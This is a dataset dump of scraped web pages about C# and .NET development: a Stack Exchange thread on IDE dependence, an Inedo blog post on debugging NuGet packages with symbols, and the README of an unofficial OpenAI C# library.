identifier
stringlengths 1
43
| dataset
stringclasses 3
values | question
stringclasses 4
values | rank
int64 0
99
| url
stringlengths 14
1.88k
| read_more_link
stringclasses 1
value | language
stringclasses 1
value | title
stringlengths 0
200
| top_image
stringlengths 0
125k
| meta_img
stringlengths 0
125k
| images
listlengths 0
18.2k
| movies
listlengths 0
484
| keywords
listlengths 0
0
| meta_keywords
listlengths 1
48.5k
| tags
null | authors
listlengths 0
10
| publish_date
stringlengths 19
32
⌀ | summary
stringclasses 1
value | meta_description
stringlengths 0
258k
| meta_lang
stringclasses 68
values | meta_favicon
stringlengths 0
20.2k
| meta_site_name
stringlengths 0
641
| canonical_link
stringlengths 9
1.88k
⌀ | text
stringlengths 0
100k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8582
|
dbpedia
|
2
| 10
|
https://softwareengineering.stackexchange.com/questions/169920/is-c-development-effectively-inseparable-from-the-ide-you-use
|
en
|
Is C# development effectively inseparable from the IDE you use?
|
[
"https://cdn.sstatic.net/Sites/softwareengineering/Img/logo.svg?v=e86f7d5306ae",
"https://www.gravatar.com/avatar/a007be5a61f6aa8f3e85ae2fc18dd66e?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/0efdfbc3d7c390992c3525ca5a23d277?s=64&d=identicon&r=PG",
"https://i.sstatic.net/kMLdh.jpg?s=64",
"https://www.gravatar.com/avatar/4af3541c00d591e9a518b9c0b3b1190a?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/130b8a67fd029b2e6b5e56e7aad04952?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/57c3668e04823e4c9f979fbadad9197c?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/eca9d9724ab56d3a977146c9bf7dd75c?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/6fc5e3f98fb1113576b50672ae42c05c?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/0bce4ecc3649443edeb6eba28f9a6c04?s=64&d=identicon&r=PG",
"https://i.sstatic.net/inTx6.png?s=64",
"https://www.gravatar.com/avatar/6a949b13f766f5b1095c9a98dcb94d7f?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/89c3645ed352c9f08fae80da29437236?s=64&d=identicon&r=PG",
"https://www.gravatar.com/avatar/021d0d3a0676561486d5ec92339e3bb4?s=64&d=identicon&r=PG",
"https://softwareengineering.stackexchange.com/posts/169920/ivc/3e78?prg=e74c8c76-3325-4170-bcc6-180d25f143eb"
] |
[] |
[] |
[
""
] | null |
[] |
2012-10-15T10:52:42
|
I'm a Python programmer learning C# who is trying to stop worrying and just love C# for what it is, rather than constantly comparing it back to Python.
I'm caught up on one point: the lack of
|
en
|
https://cdn.sstatic.net/Sites/softwareengineering/Img/favicon.ico?v=c4f35a1e3900
|
Software Engineering Stack Exchange
|
https://softwareengineering.stackexchange.com/questions/169920/is-c-development-effectively-inseparable-from-the-ide-you-use
|
Visual Studio is so convenient that after working with it for a while it is difficult to use a different IDE. It has a lot of handy tools and a bunch of plugins available, so practically it has every feature you would need.
On the other hand, whatever language you learn, it is recommended to use command line at the beginning, so you can better understand how it works. C# isn't an exception.
is C# development effectively inseparable from the IDE you use?
Theoretically no, but practically yes. It is possible to write in C# using a text editor and command line, but if you have Visual Studio, you'd never do this. In fact very few programmers have ever executed C# code from command line.
BTW If you feel inconvenient with using foo, you can use the whole path when using a type.
The idea of being dependent on an IDE to understand code at such a basic level seems anathema.
It is not a question of understanding your code: given sufficient time, you can always locate the right variable with a basic text editor or even in a printout. As far as understanding the code goes, the IDE dependency absolutely does not exist.
Locating your references efficiently is an entirely different subject: I love the ability to find usages of Java variables in Eclipse as much as I love finding declaration points in Visual Studio, for both C# and C++. I prefer spending my time coding, rather than looking for declaration points manually. This is similar to doing math: I can multiply multidigit numbers on a piece of paper, but I prefer using calculator to save myself a minute or two.
Starting at a certain "critical size" of the code, a good IDE becomes very useful regardless of the programming language. The size may vary language to language, but once you cross several thousand lines, having an IDE helps regardless of your language. This has more to do with limitations of a human mind than with a particular programming language: at some point, your short-term memory is bound to "overflow".
There are tricks letting you increase that critical size where IDE becomes useful. For example, you could follow a naming convention (Hungarian names were big in the C++ world at some point, especially among the Windows practitioners). Another common trick is qualifying instance variables with this. even in contexts where such qualification is not required.
These tricks come with trade-offs: almost inevitably, they make your program less readable by obscuring names, or inserting the explicit references the encapsulation was intended to hide. Faced with the choice, I pick clean-looking code plus an IDE over a less-clean-looking code minus an IDE. I fully recognize, however, that other people's choices may differ from mine.
Many Python programmers prefer a text editor approach to coding, using something like Sublime Text 2 or vim, where it's all about the code, plus command line tools and direct access and manipulation of folders and files.
That's great, but it misses the point of the VS IDE. The point of an IDE like VS is rapid development support via strong code tools like refactoring and intellisense. VS is a very very good editor for C# code.
Now C# lets you code in a style that depends on its IDE to a greater extent (you can use lots of var keywords and the like). Some people prefer to be more explicit, for instance by using namespace aliases to be clear on which namespace a class belongs to (like import in Java or Python). That's more of a coding style choice than a feature of the language.
As C# is statically typed (although with some dynamic extensions, as of v4) it's always fairly easy to find out what types are being referred to - if they're wrong the code won't compile, and VS isn't the only IDE with support for C# intellisense. It's probably the best though.
Developing C# without a powerful IDE (like VS) is rather like hammering in nails by hand when you already have a top of the range nailgun - there might be the odd time you need to do it, but professionals use the right tool for the job.
I'd say the same is probably true of Java too. If there's a powerful IDE with intellisense and code refactor tools out there you should probably be using it.
However, look at it the other way round - if you don't want intellisense, compile time code checking and code-analysis/refactoring then a bloated IDE is not the way to go, and neither is a statically typed language. I think it's the other way round:
Many programmers that prefer a text editor approach to coding don't gain as much from statically typed languages (like C# and Java) and so could be better off if they stick to dynamic ones like Python and Javascript.
I think:
Dynamic languages suit lightweight tools (heavyweight IDEs confer less benefit here)
Static languages suit powerful IDEs (tools can help with the code at the cost of flexibility)
To answer your question: although it's slowly changing, the Microsoft development environment has largely been a monoculture.
This approach has many positives and negatives, which could be argued at length (e.g. consider the pros and cons of open and closed platforms, such as PCs vs an Xbox), but at the end of the day, the tooling from Microsoft is what most people use. The company has also shown that their decision making is often a kind of "give the most value to the majority of our users" process, always looking for practical compromises (most recently - consider Typescript). So basically, I wouldn't be surprised to find that the development of C# was / is done with the tooling (VS) in mind.
Anyone bother to read way down here??
I summarize by saying the massively complex IDE functionality is indispensable and it will (should) evolve to the Zen of Sublime VimNess some day....
Our software is 129 projects of about 2M LOC. Add in the massiveness of the .NET framework and given this all I can say is the IDE is vital, transcending the motivations of this thread's question.
Insight into the Code Base
Period. You know the kinds of features we're talking about; except that its convenience becomes indispensable and essential with the kind of code base I deal with.
I write better code because of the IDE. I always add custom messages to my Nunit tests because it's easy, fast and accurate. I favor enumerations over strings due in large part to intellisense. I do not hesitate to use descriptive/long naming - a multi-line statement is composed fast and clean.
But even this smartness is too much at times. I often use good-old "find in files" text searching.
Coding help
Here is where I oft cry "enough!". Imagine a screen-full with a dozen colors of mostly obscureatta, some particular variable highlighted everywhere, brace highlighting obscuring what the brace actually is, squiggly underlining everywhere because "it" wants me to write literature not code, icons for Resharper context menus (you just gotta click it! then ignore it most of the time), a signature help popup spanning 2/3 of the screen horizontally, vertically displaying several overloads, a popup because of where you just happened to leave the mouse cursor.... I cant even seen the &^!% line*s* of code I'm working on!
Vis.Stud. needs to embrace minimalism so I can focus on coding and not go through hundreds (thousands if you count every color coding setting and all those plugins) of settings in a losing battle to reclaim sanity. A "Pareto" key would be great.
For one, C# is not Python.. There are different design methodologies.
Now, to answer your question, it's completely possible to use your Python-esque using statements.
using FooBar=MyName.Foo.FooBar;
It's just it is definitely not the norm because it's not nearly so easy. However, I think you should worry less about knowing exactly where exactly each class is coming from. I don't understand the entire point of doing it this way in Python though.
And also, C# is a language that lends itself very well to using IDEs to make it easier. Intellisense is amazingly simple to implement, especially compared to dynamic languages such as Ruby and Python. However, you don't have to be stuck to your IDE. I've heard of people using Eclipse. There also is of course MonoDevelop(which I use quite a lot), and you can even work from a command line. On my server sometimes, I'll be editing C# files with vi and then using xbuild to rebuild it... It's just that using an IDE makes things much easier compared to the command line for typical cases.
This is an interesting view on C# development. What you are asking goes beyond C# though, if you're asking about the IDE.
Like you say, in Python, you can use various editors to write your code. You can do that with the .NET framework too. There are also other IDE tools you can use such as SharpDevelop. Visual Studio is very tightly co-developed with the .NET framework and is relatively expensive. Tools such as SharpDevelop and the "Express" versions of VS exist to entice more developers to use .NET. Essentially all an IDE does for you is provide an organised environment, usually with intellisense, add-ons for productivity and a "helper" to assemble what can end up being a very scary looking command-line to pass to your compiler. The same is true for Java, tools such as Eclipse just provide the organisation and productivity enhancements for us. Under the hood, nothing magical happens until you build or compile your project and that respect, all IDE's are just pretty faces to the unfriendly compiler.
When you talk about the "using" statement in C# and compare it to Python, it's not really the same thing going on under the hood. The using statements are used by the compiler to aid it's effort in transforming the C# code into MSIL. In MSIL, there is no "import all these classes from this namespace" directive. By the time code is at MSIL level, all the classes have been tagged with their fully qualified names. These "using" and "import" statements are to aid human readability. They are not compiler optimisation commands. After all this initial "tagging of fully qualified names" has gone on, there might be a kind of low-level "minify" to the FQNs but this is to aid the compiler/interpreter to execute faster. This is the optimisation - but there is no control of this offered to the developer, unless you are writing your own custom version of the compiler!
One final fundamental difference between all these languages mentioned on here are that some of them are interpreted by VMs, some are interpreted JIT style and some are fully compiled. How these using directives are implemented across those compilers and interpreters differs greatly.
HTH.
I think that historically the answer is pretty much, yes - getting C# development up and running effectively in anything outside of Visual Studio, Xamarin, or SharpDevelop was just too much an unpleasant experience.
But recently a lot of projects have emerged that makes it easier, e.g.:
OmniSharp, provides a foundation for intellisense and refactoring, along with vim, emacs, atom, and sublime plugins. I haven't actually used it, so I don't know how well it works, but it does look promising.
Yeoman ASP.NET MVC generators, helps bootstrap a new MVC project (maybe other generators exist).
paket, an alternative to NuGet where you can actually add NuGet packages to your project from the command line, and have your .csproj files updated (although there was a NuGet command line tool, actually updating projects to use the packages was part of the IDE integration, not command line tools).
Paket has the implication that you have to adapt your source code to using it - so if you sit as the single member in a team and wants to use a text editor for coding, and everybody else uses Visual Studio, you would have to convince everybody else to adapt the solution to your needs :(
So you should be able to get up and running, but there is comparably more work to do to get your toolchain up and running efficiently.
|
||||
8582
|
dbpedia
|
1
| 12
|
https://blog.inedo.com/nuget/how-to-debug-nuget-packages-the-painless-way/
|
en
|
How to Debug NuGet Packages with Symbols and Source Link Painlessly
|
[
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/02/Inedo-logo_blog.png",
"https://0.gravatar.com/avatar/f3f10d8c9698fe8f52f9ba3aca5564e7?s=96",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/10/image-13.png",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/10/image-14.png",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/10/image-15.png",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/10/image-16.png",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/09/symbol-server-config-dialogbox.png",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/09/symbol-server-config-1024x365.png",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/09/symbol-list-1024x361.png",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/09/enable-symbol-server.png",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/09/image-5.png",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/01/Munge2.png",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/09/image-6.png",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/09/image-7.png",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/09/image-8.png",
"https://0.gravatar.com/avatar/f3f10d8c9698fe8f52f9ba3aca5564e7?s=96",
"https://149882660.v2.pressablecdn.com/wp-content/uploads/2023/01/Inedo-logo.png"
] |
[] |
[] |
[
""
] | null |
[] |
2023-10-02T00:00:00
|
Debugging your NuGet packages can be a total pain. In fact, it’s one of the main reasons that development teams are hesitant to break apart their monolithic .NET solution.
Fortunately, there's a pretty easy solution to this problem; NuGet Symbol Packages. In this article I’ll discuss how.
|
en
|
https://blog.inedo.com/nuget/how-to-debug-nuget-packages-the-painless-way/
|
Debugging your NuGet packages can be a total pain. In fact, it’s one of the main reasons that development teams are hesitant to break apart their monolithic .NET solution.
Unlike a referenced library project, you can’t easily step-into a NuGet package’s code to debug it. On top of that, when you need to make a simple change to an interface or method, you need to rebuild the whole package. Monoliths and copy/pasting code just seem way easier.
Fortunately, there’s a pretty easy solution to this problem; NuGet Symbol Packages. In this article I’ll discuss:
Demystifying Symbols and Source Serving (Source Link)
Creating NuGet Symbol Packages with Source Link
Legacy Symbol Formats & Packages
Configuring Visual Studio to Debug Symbol Packages
I’ll also share a simple alternative to using Symbol Packages that could make your life much easier.
Demystifying Symbols & Source Serving (Source Link)
The secret behind debugging into NuGet packages is Symbols and Source serving. There are four different technology “layers” that come together to make this happen.
But it’s a bit complicated, and it took me a little while to wrap my head around how it all works. Especially after reading all of the outdated — and often incorrect — articles.
I’ll do my best to explain the pieces and how they fit together as clearly as possible.
What the heck are Symbols, anyway?
You’ve probably seen .pdb files in your bin directory after building your project, alongside your .dll or .exe files. These .pdb files are “symbol files”, and they essentially map compiled assemblies (i.e., the .dll and .exe files) to the source code (i.e., the .cs files) that was used to build them.
Visual Studio uses these .pdb files to let you step-through code as it runs in Debug mode on your machine.
Even outside of interactive debugging, .pdb helps to provide more information on a stack trace when an application crashes. This is why you’ll often see the full disk path to the original code file when your application errors on a different machine.
What is a Symbol Server?
Symbols files actually predate NuGet (and .NET as a whole) by at least a few decades. They were originally designed for when disk space was at a premium, and symbols were rarely included in released software. This made debugging a pain.
This is where a Symbol Server came in. When building a library, the compiler will embed the same random, unique identifier (basically a GUID) in both the .dll and .pdb files. If you uploaded the .pdb file to a Symbol Server, you could later retrieve it using that unique identifier embedded in the .dll file.
That’s how a debugger like Visual Studio can load symbol files when an application crashes; you don’t need to have all of the .pdb files for every .pdb on disk. Visual Studio just requests it on demand from the Symbol Server.
What are NuGet Symbol packages?
A symbol package is basically just a NuGet package that contains symbols (.pdb files) instead of libraries (.dll files) and some different metadata. They also have a different file extension: .snupkg instead of .nupkg.
The nuget.exe or dotnet CLI will create a symbol package at the same time as a normal NuGet package when you specify the SymbolPackageFormat argument. For example:
nuget pack MyPackage.csproj -Symbols -SymbolPackageFormat snupkg dotnet pack MyPackage.csproj -p:IncludeSymbols=true -p:SymbolPackageFormat=snupkg
After running one of those commands, you’d end up with MyPackage.nupkg and MyPackage.snupkg in your working directory: one would have the .dll files, and the other .pdb files.
The regular .nupkg package is then pushed to a NuGet feed, and the symbols .snupkg package is pushed to a symbol server.
What is Source Link?
Remember how a .pdb will map compiled assemblies (i.e., the .dll and .exe files) to source code (i.e., the .cs files)? This “map” requires having the exact version of the code files that were used to build the assemblies. So if you’re using a symbol server… where do the code files come in?
This is where Source Link comes in. When you build a NuGet package with Source Link enabled a Git Repository URL and Commit ID will be embedded in the package metadata. This allows Visual Studio to locate the required code files for debug time.
To enable Source Link in your own .NET project, you just need to set a few properties and then add a NuGet package specific to your Git repository (e.g. Microsoft.SourceLink.GitHub).
Legacy Symbol Format & Packages
Believe it or not, NuGet symbol & source serving was even more complicated just a few years back. You may run across some of these older formats and packages, so I’ll explain them real quick.
Legacy Symbol Packages (.symbols.nupkg)
While .snupkg symbol packages are the norm these days, there are also legacy symbol packages that have a different file extension (.symbols.nupkg). In addition to .pdb files, legacy symbol files will often include source code and .dll files.
Microsoft PDB (Legacy Symbol Files)
There are actually two different types of .pdb files: Microsoft PDB (aka Windows PDB) and Portable PDB. You can’t really tell the difference by looking at the file name, but they’re completely different file types.
Microsoft PDB is an ancient technology, dating back to the early 1990’s. It’s used for everything from native driver binaries to .NET Framework assemblies. But it only works on Windows and was never intended for cross-platform (Linux) debugging.
Portable PDB is much newer, and was a complete rewrite by the .NET team. As the name implies, they are platform portable and work on Linux and Windows. However, they only work with .NET libraries – which means if you’re building native (C++) libraries for Windows, you’ll still need to use the Microsoft PDB format.
These days, you probably won’t come across too many Microsoft PDB symbol files, especially if you’re working with .NET libraries in NuGet packages.
Legacy Source Server
Before Source Link became the standard for NuGet packages, a much older technology called Microsoft Source Server was required to retrieve the exact version of the source files that were used to build the library. It’s mostly a dead technology these days, as it was built for the era when source control was not Git or even web-based. But if you’re using TFVC or SVN, it’s pretty much the only option.
How to Debug NuGet Packages with Visual Studio
As I mentioned earlier, creating NuGet Symbol Packages is relatively easy. Just specify the SymbolPackageFormat argument when running the nuget.exe or dotnet CLI.
dotnet pack MyPackage.csproj -p:IncludeSymbols=true -p:SymbolPackageFormat=snupkg
From there, you just need to publish your .nupkg package to a NuGet feed and your .snupkg to a Symbol server. This will obviously require having a capable private NuGet Server.
To demonstrate how this works, I’ll use ProGet as an example, but the concepts are similar in other tools.
Configuring your NuGet Feed for Symbol Serving
ProGet has an integrated Symbol Server on its NuGet feeds. You can select the type of Symbol Packages that will be supported by the Symbol Server:
Once enabled, you’ll be presented with a URL that you can use to configure Visual Studio:
Verifying Indexed Symbols
After enabling the Symbol Server, you’ll want to verify that Symbol files were properly indexed. You can find this on the Symbols tab of a NuGet package in ProGet:
This will show you the unique identifiers (Id and Age) that Visual Studio uses to retrieve a PDB file.
Configuring Visual Studio to work with a Symbol Server
To debug in NuGet package libraries, Visual Studio must be configured to use the symbol server. This is where that earlier URL came in.
In Visual Studio, select Debug > Options… from the menu bar, then navigate to Debugging > Symbols from the tree menu. Then the symbol server URL you found earlier on the Manage Feed page and specify a Symbol Cache Directory.
By default Visual Studio will use %LOCALAPPDATA%\Temp\SymbolCache, but you may specify any path.
And that’s it! From a developer perspective, it’s about as easy as configuring a private NuGet feed in Visual Studio.
Alternatively: Debugging NuGet Packages Without Symbols
While NuGet Symbol Packages provide an efficient integrated debugging & development solution, something that I refer to as “munging” project files is an alternative, relatively straightforward solution.
“Munging” project files involves temporarily incorporating the code from the library project into the application you intend to debug. This solution is especially useful for situations where you want to write or edit the library code.
Munging project files can be done in a few simple steps. For this example, let’s say I need to debug/edit the Inedo.ExecutionEngine library, but I want to do so while using it in an application Otter.
Step 1: Uninstall the Packages Reference
In the Otter solution, Inedo.ExecutionEngine was installed in three different projects, so I right-clicked on my Solution, then “Manage NuGet Packages”, selected the library, and uninstalled it from the projects.
Step 2: Add Library Project
I right-clicked on my Solution, and selected Add Existing Project.
After adding the project to the solution, it will show up at the bottom like this:
Step 3: Add Project References
On each of the three projects, I uninstalled Inedo.ExecutionEngine project reference, I added a project reference to my newly added library project (Inedo.ExecutionEngine).
Step 4: Debug & Edit Code As Normal
And that’s that! Inedo.ExecutionEngine can just be debugged and edited like all other projects on my solution! Note that you won’t be able to commit source control changes to the munged library in the same instance of Visual Studio. But you can always commit your library changes later.
Step 5: Undo Project “Munging”
Once you’re done, make sure to undo the project “munging” to your library. Accidentally committing these changes will lead to broken builds and a headache for the rest of your team.
Project Munging with Tools & PowerShell
If you don’t do this very often, it’s not that big of a deal to click this many times. However, if the multiple steps and clicks are a little too bothersome there is a Visual Studio Extension that can do some of the work, but it’s outdated and doesn’t work on newer project types.
It’s really simple to just write a very basic PowerShell script that uses the dotnet CLI.
# Munge-InedoLib.ps1 $pkgName = "Inedo.ExecutionEngine" $pkgProjFile= "C:\Projects\Inedo.ExecutionEngine\Inedo.ExecutionEngine\Inedo.ExecutionEngine.csproj" $slnFile = "C:\Projects\Otter\src\Otter.sln" $projFilesToMunge = @( ` "C:\Projects\Otter\src\Otter.Service\Otter.Service.csproj", ` "C:\Projects\Otter\src\Otter.WebApplication\Otter.WebApplication.csproj", ` "C:\Projects\Otter\src\OtterCoreEx\OtterCoreEx.csproj" ` ) dotnet sln $slnFile add $pkgProjFile foreach ($projFile in $projFilesToMunge) { dotnet remove $projFile package $pkgName dotnet add $projFile reference $libProjFile }
Debug NuGet Packages With ProGet
Debugging NuGet packages is anything but intuitive. Using the solutions outlined in this article will allow your developers to more easily integrate debugging with NuGet.
We recommend using NuGet Symbol packages, especially if you’re debugging into library code. However “Project Munging” is a fine alternative as well. ProGet supports these solutions so your developers can debug NuGet packages as painlessly as possible.
Debugging is important, but there’s a lot more to learn about NuGet packages to successfully use them on the Enterprise level. Sign up for our mailing list to receive our upcoming guide that will guide you through everything NuGet!
|
||||||
8582
|
dbpedia
|
1
| 7
|
https://www.nuget.org/packages/OpenAI/
|
en
|
NuGet Gallery
|
https://api.nuget.org/v3-flatcontainer/openai/1.11.0/icon
|
https://api.nuget.org/v3-flatcontainer/openai/1.11.0/icon
|
[
"https://api.nuget.org/v3-flatcontainer/openai/1.11.0/icon",
"https://badgen.net/nuget/v/OpenAI",
"https://nuget.org/Content/gallery/img/nuget-trends.svg",
"https://www.nuget.org/profiles/OpenAIOfficial/avatar?imageSize=64",
"https://nuget.org/Content/gallery/img/facebook.svg",
"https://nuget.org/Content/gallery/img/twitter.svg",
"https://nuget.org/Content/gallery/img/rss.svg"
] |
[] |
[] |
[
""
] | null |
[] | null |
A simple C# / .NET library to use with OpenAI's APIs, including GPT 3.5, GPT 4, ChatGPT, DALL-E, Whisper, etc. Independently developed, this is not an official library and I am not affiliated with OpenAI. An...
|
en
|
/favicon.ico
|
https://www.nuget.org/packages/OpenAI/
|
C#/.NET SDK for accessing the OpenAI APIs, including GPT-3.5/4, GPT-3.5/4-Turbo, and DALL-E 2/3
A simple C# .NET wrapper library to use with OpenAI's API. More context on my blog. This is an unofficial wrapper library around the OpenAI API. I am not affiliated with OpenAI and this library is not endorsed or supported by them.
Quick Example
var api = new OpenAI_API.OpenAIAPI("YOUR_API_KEY"); var result = await api.Chat.CreateChatCompletionAsync("Hello!"); Console.WriteLine(result); // should print something like "Hi! How can I help you?"
Readme
Status
Requirements
Installation
Authentication
Chat API
Conversations
Streaming Results
GPT Vision
Chat Endpoint
Conversation History Context Length Management
JSON Mode
Completions API
Streaming completion results
Audio
Text to Speech
Transcribe Audio to Text
Translate Audio to English Text
Embeddings API
Moderation API
Files API
Image APIs (DALL-E)
DALLE-E 3
Azure
Additional Documentation
License
Status
Adds new embedding models as of March 2024.
Requirements
This library is based on .NET Standard 2.0, so it should work across all versions of .Net, from the traditional .NET Framework >=4.7.2 to .NET (Core) >= 3.0. It should work across console apps, winforms, wpf, asp.net, unity, Xamarin, etc. It should work across Windows, Linux, and Mac, and possibly even mobile. There are minimal dependencies, and it's licensed in the public domain.
Getting started
Install from NuGet
Install package OpenAI from Nuget. Here's how via commandline:
Install-Package OpenAI
Authentication
There are 3 ways to provide your API keys, in order of precedence:
Pass keys directly to APIAuthentication(string key) constructor
Set environment var for OPENAI_API_KEY (or OPENAI_KEY for backwards compatibility)
Include a config file in the local directory or in your user directory named .openai and containing the line:
OPENAI_API_KEY=sk-aaaabbbbbccccddddd
You use the APIAuthentication when you initialize the API as shown:
// for example OpenAIAPI api = new OpenAIAPI("YOUR_API_KEY"); // shorthand // or OpenAIAPI api = new OpenAIAPI(new APIAuthentication("YOUR_API_KEY")); // create object manually // or OpenAIAPI api = new OpenAIAPI(APIAuthentication LoadFromEnv()); // use env vars // or OpenAIAPI api = new OpenAIAPI(APIAuthentication LoadFromPath()); // use config file (can optionally specify where to look) // or OpenAIAPI api = new OpenAIAPI(); // uses default, env, or config file
You may optionally include an openAIOrganization (OPENAI_ORGANIZATION in env or config file) specifying which organization is used for an API request. Usage from these API requests will count against the specified organization's subscription quota. Organization IDs can be found on your Organization settings page.
// for example OpenAIAPI api = new OpenAIAPI(new APIAuthentication("YOUR_API_KEY","org-yourOrgHere"));
Chat API
The Chat API is accessed via OpenAIAPI.Chat. There are two ways to use the Chat Endpoint, either via simplified conversations or with the full Request/Response methods.
Chat Conversations
The Conversation Class allows you to easily interact with ChatGPT by adding messages to a chat and asking ChatGPT to reply.
var chat = api.Chat.CreateConversation(); chat.Model = Model.GPT4_Turbo; chat.RequestParameters.Temperature = 0; /// give instruction as System chat.AppendSystemMessage("You are a teacher who helps children understand if things are animals or not. If the user tells you an animal, you say \"yes\". If the user tells you something that is not an animal, you say \"no\". You only ever respond with \"yes\" or \"no\". You do not say anything else."); // give a few examples as user and assistant chat.AppendUserInput("Is this an animal? Cat"); chat.AppendExampleChatbotOutput("Yes"); chat.AppendUserInput("Is this an animal? House"); chat.AppendExampleChatbotOutput("No"); // now let's ask it a question chat.AppendUserInput("Is this an animal? Dog"); // and get the response string response = await chat.GetResponseFromChatbotAsync(); Console.WriteLine(response); // "Yes" // and continue the conversation by asking another chat.AppendUserInput("Is this an animal? Chair"); // and get another response response = await chat.GetResponseFromChatbotAsync(); Console.WriteLine(response); // "No" // the entire chat history is available in chat.Messages foreach (ChatMessage msg in chat.Messages) { Console.WriteLine($"{msg.Role}: {msg.Content}"); }
Chat Streaming
Streaming allows you to get results are they are generated, which can help your application feel more responsive.
Using the new C# 8.0 async iterators:
var chat = api.Chat.CreateConversation(); chat.AppendUserInput("How to make a hamburger?"); await foreach (var res in chat.StreamResponseEnumerableFromChatbotAsync()) { Console.Write(res); }
Or if using classic .NET Framework or C# <8.0:
var chat = api.Chat.CreateConversation(); chat.AppendUserInput("How to make a hamburger?"); await chat.StreamResponseFromChatbotAsync(res => { Console.Write(res); });
GPT Vision
You can send images to the chat to use the new GPT-4 Vision model. This only works with the Model.GPT4_Vision model. Please see https://platform.openai.com/docs/guides/vision for more information and limitations.
// the simplest form var result = await api.Chat.CreateChatCompletionAsync("What is the primary non-white color in this logo?", ImageInput.FromFile("path/to/logo.png")); // or in a conversation var chat = api.Chat.CreateConversation(); chat.Model = Model.GPT4_Vision; chat.AppendSystemMessage("You are a graphic design assistant who helps identify colors."); chat.AppendUserInput("What are the primary non-white colors in this logo?", ImageInput.FromFile("path/to/logo.png")); string response = await chat.GetResponseFromChatbotAsync(); Console.WriteLine(response); // "Blue and purple" chat.AppendUserInput("What are the primary non-white colors in this logo?", ImageInput.FromImageUrl("https://rogerpincombe.com/templates/rp/center-aligned-no-shadow-small.png")); response = await chat.GetResponseFromChatbotAsync(); Console.WriteLine(response); // "Blue, red, and yellow" // or when manually creating the ChatMessage messageWithImage = new ChatMessage(ChatMessageRole.User, "What colors do these logos have in common?"); messageWithImage.images.Add(ImageInput.FromFile("path/to/logo.png")); messageWithImage.images.Add(ImageInput.FromImageUrl("https://rogerpincombe.com/templates/rp/center-aligned-no-shadow-small.png")); // you can specify multiple images at once chat.AppendUserInput("What colors do these logos have in common?", ImageInput.FromFile("path/to/logo.png"), ImageInput.FromImageUrl("https://rogerpincombe.com/templates/rp/center-aligned-no-shadow-small.png"));
Conversation History Context Length Management
If the chat conversation history gets too long, it may not fit into the context length of the model. By default, the earliest non-system message(s) will be removed from the chat history and the API call will be retried. You may disable this by setting chat.AutoTruncateOnContextLengthExceeded = false, or you can override the truncation algorithm like this:
chat.OnTruncationNeeded += (sender, args) => { // args is a List<ChatMessage> with the current chat history. Remove or edit as nessisary. // replace this with more sophisticated logic for your use-case, such as summarizing the chat history for (int i = 0; i < args.Count; i++) { if (args[i].Role != ChatMessageRole.System) { args.RemoveAt(i); return; } } };
You may also wish to use a new model with a larger context length. You can do this by setting chat.Model = Model.GPT4_Turbo or chat.Model = Model.ChatGPTTurbo_16k, etc.
You can see token usage via chat.MostRecentApiResult.Usage.PromptTokens and related properties.
Chat Endpoint Requests
You can access full control of the Chat API by using the OpenAIAPI.Chat.CreateChatCompletionAsync() and related methods.
async Task<ChatResult> CreateChatCompletionAsync(ChatRequest request); // for example var result = await api.Chat.CreateChatCompletionAsync(new ChatRequest() { Model = Model.ChatGPTTurbo, Temperature = 0.1, MaxTokens = 50, Messages = new ChatMessage[] { new ChatMessage(ChatMessageRole.User, "Hello!") } }) // or var result = api.Chat.CreateChatCompletionAsync("Hello!"); var reply = results.Choices[0].Message; Console.WriteLine($"{reply.Role}: {reply.Content.Trim()}"); // or Console.WriteLine(results);
It returns a ChatResult which is mostly metadata, so use its .ToString() method to get the text if all you want is assistant's reply text.
There's also an async streaming API which works similarly to the Completions endpoint streaming results.
JSON Mode
With the new Model.GPT4_Turbo or gpt-3.5-turbo-1106 models, you can set the ChatRequest.ResponseFormat to ChatRequest.ResponseFormats.JsonObject to enable JSON mode. When JSON mode is enabled, the model is constrained to only generate strings that parse into valid JSON object. See https://platform.openai.com/docs/guides/text-generation/json-mode for more details.
ChatRequest chatRequest = new ChatRequest() { Model = model, Temperature = 0.0, MaxTokens = 500, ResponseFormat = ChatRequest.ResponseFormats.JsonObject, Messages = new ChatMessage[] { new ChatMessage(ChatMessageRole.System, "You are a helpful assistant designed to output JSON."), new ChatMessage(ChatMessageRole.User, "Who won the world series in 2020? Return JSON of a 'wins' dictionary with the year as the numeric key and the winning team as the string value.") } }; var results = await api.Chat.CreateChatCompletionAsync(chatRequest); Console.WriteLine(results); /* prints: { "wins": { 2020: "Los Angeles Dodgers" } } */
Completions API
Completions are considered legacy by OpenAI. The Completion API is accessed via OpenAIAPI.Completions:
async Task<CompletionResult> CreateCompletionAsync(CompletionRequest request); // for example var result = await api.Completions.CreateCompletionAsync(new CompletionRequest("One Two Three One Two", model: Model.CurieText, temperature: 0.1)); // or var result = await api.Completions.CreateCompletionAsync("One Two Three One Two", temperature: 0.1); // or other convenience overloads
You can create your CompletionRequest ahead of time or use one of the helper overloads for convenience. It returns a CompletionResult which is mostly metadata, so use its .ToString() method to get the text if all you want is the completion.
Streaming
Streaming allows you to get results are they are generated, which can help your application feel more responsive, especially on slow models like Davinci.
Using the new C# 8.0 async iterators:
